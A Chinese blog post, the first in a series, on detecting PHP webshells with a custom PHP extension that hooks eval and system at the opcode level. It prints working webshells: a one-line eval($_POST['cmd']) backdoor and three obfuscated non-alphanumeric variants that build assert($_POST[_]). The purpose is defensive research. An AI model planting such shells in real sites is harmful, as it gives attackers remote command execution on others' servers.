因为要写的东西有点多,并且牵涉到的知识对我也比较有挑战,所以我会分成几个小节来写,第一个小节我主要是谈一下大体的思路和一些必备的知识,不会涉及到过多的语言细节。
前言
之前线下赛的时候被官方隐藏的后门给坑过许多次,基本都是非常自信的拿rips扫了一下就放下心来,结果阴沟里翻船。
所以在翻了许多次船之后,想到了通过编写PHP扩展来实现Webshell的识别。当然,这篇在线下赛的意义可能不大(权限应该是不够的),因为对于这部分的东西,我也是一边学一边记录,所以可能会有一些出错的地方,还请理解。
Webshell攻击方式
在具体谈到如何实现识别Webshell之前,先来看看常用的Webshell是如何完成攻击的。
最耿直的shell便是这种格式:
<?php @eval($_POST['cmd']);?>
通过POST方法传入的cmd参数,会经过eval函数执行,如果此时传入的cmd参数值为system(‘ls’); ,则会执行ls的命令,进而浏览目录信息。
稍微复杂一点也无非是再经过编码、加密、回调或者使用匿名函数等其他方法来伪装自身,像p师傅之前有一篇博客里面写的使用数字和字母来编写Webshell这种,本质上仍然是对自己进行伪装。比如p师傅的三种shell:
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
$_=$$_____;
$____($_[$__]);
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
而有关这方面的更具体的东西,因为并不是我们这篇文章要讨论的主要方面,因此不再多提,有兴趣可以看看p师傅的博客:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
Webshell为了执行命令,最终都会去调用system,eval这一类的函数。因此在正常情况下,我们编写的waf便是通过检测关键字来识别Webshell,而waf越强,识别能力也就越强,这是目前最流行的做法。
但是在使用PHP扩展时,我们可以换个思路来进行识别。
基础知识
php的执行流程
PHP执行一段代码时,会分做几个阶段来依次完成,这里我使用Laruence总结的:
1.Scanning(Lexing) ,将PHP代码转换为语言片段(Tokens)
2.Parsing, 将Tokens转换成简单而有意义的表达式
3.Compilation, 将表达式编译成Opocdes
4.Execution, 顺次执行Opcodes,每次一条,从而实现PHP脚本的功能。
可以看到,PHP在执行代码时,Lex会先完成词法分析,将代码分成一个个的“块”,如果想看词法分析的结果,可以通过get_token_all()来获得词法分析的结果。
随后便是第二步,在这一步中,将上面得到的一个个“块”转换为表达式。
这里要插一个知识点,opcode是计算机指令的一部分,在PHP中,opcode就是Zend虚拟机中的指令。
在PHP中,opcode表示如下:
struct _zend_op {
opcode_handler_t handler; // 执行该opcode时调用的处理函数
znode result;
znode op1;
znode op2;
ulong extended_value;
uint lineno;
zend_uchar opcode; // opcode代码
};
第三步编译则是将一个个的“块”编译成opcode保存在op_array中。
最后一步便是依次执行这些opcode。
这就是为什么PHP看起来并不需要像C语言一样先编译再运行的原因,PHP是经过了解释器执行源码这个过程的。
但是实时编译对于性能的影响比较大,因此在开启了APC扩展后,PHP会通过重用缓存opcode以提升运行效率。类似的还有python的pyc/pyo,Jvav的JVM,以避免重复编译带来的性能损失。
PHP危险函数调用
在进行函数调用时,需要函数的一些基本信息,比如函数名称,函数参数,函数定义等等。
在这里,为了方便分析用户定义函数和PHP内置函数之间的区别,取个巧,将函数分为两类,一类是内部函数,一类是用户函数。
两者之间的区别通过名称便可以很方便的发现。内部函数是用C语言实现的,但是并不是原生态的C语言,而是经过封装的,比如PHP扩展中不会使用printf()函数,而是使用经过封装处理php_printf()函数。而用户函数则是用户自定义的函数。
接着上面所说到的,内部函数在进行调用时,扩展是可以知道代码执行细节的,因此如何hook也就变得很明了了。接下来需要思考的,就是更细节的东西了。
我们在进行hook的时候,该如何判断是不是危险函数呢?比如如何判断system函数,eval函数等等。如果要细致讨论的话,我们需要再去深入了解一下opcode的相关知识。
我们先给出几段php代码:
<?php
$a='123';
echo $a;
?>
使用php的vld扩展可以查看其opcode,如下:
再看看使用eval时的opcode情况:
<?php
eval("$a='123'; echo $a; ");
?>
opcode如下:
再给个system函数的例子:
<?php
eval("system('ls');");
?>
opcode如下:
可以看到,eval函数是经过了一层固定的调用的,而system函数则是通过DO_FCALL调用。而echo则是直接调用的ECHO。
此时我们再看看用户函数的opcode是如何组成的:
<?php
<?php
function test(){
echo 123;
echo 456;
echo 789;
}
test();
?>
opcode如下:
可以看出用户函数是将语句逐条翻译成opcode,然后依次执行的。
从用户函数与内部函数这两者之间的比较,可以发现,即使是Webshell将eval类的函数隐藏在混淆或者加密过的函数中,最终仍然会调用EXT_FCALL_BEGIN *******,EVAL格式的语句。
同理,在Webshell进行最后一步调用system此类内部函数时,也是会调用某些具有固定格式的语句,比如DO_FCALL ‘system’此类格式的语句,因此这两种函数都是可以通过PHP扩展来进行识别的,而不需要去通过正则或者关键词匹配识别的方法。
我们现在大概理清楚了使用PHP编写的Webshell执行的大概流程,剩下的要做就是在eval此类危险函数即将调用时,将之hook掉。
最后给出eval函数的实现,大家可以想一下如何去hook住eval,实现代码EVAL在Zend/zend_vm_def.h:
case ZEND_EVAL: {
char *eval_desc = zend_make_compiled_string_description("eval()'d code" TSRMLS_CC);
new_op_array = zend_compile_string(inc_filename, eval_desc TSRMLS_CC);
efree(eval_desc);
}
break;
下一篇我主要想分析一下如何拦截常用的Webshell函数,比如system,shell_exec等。大家有什么意见也希望可以说一下。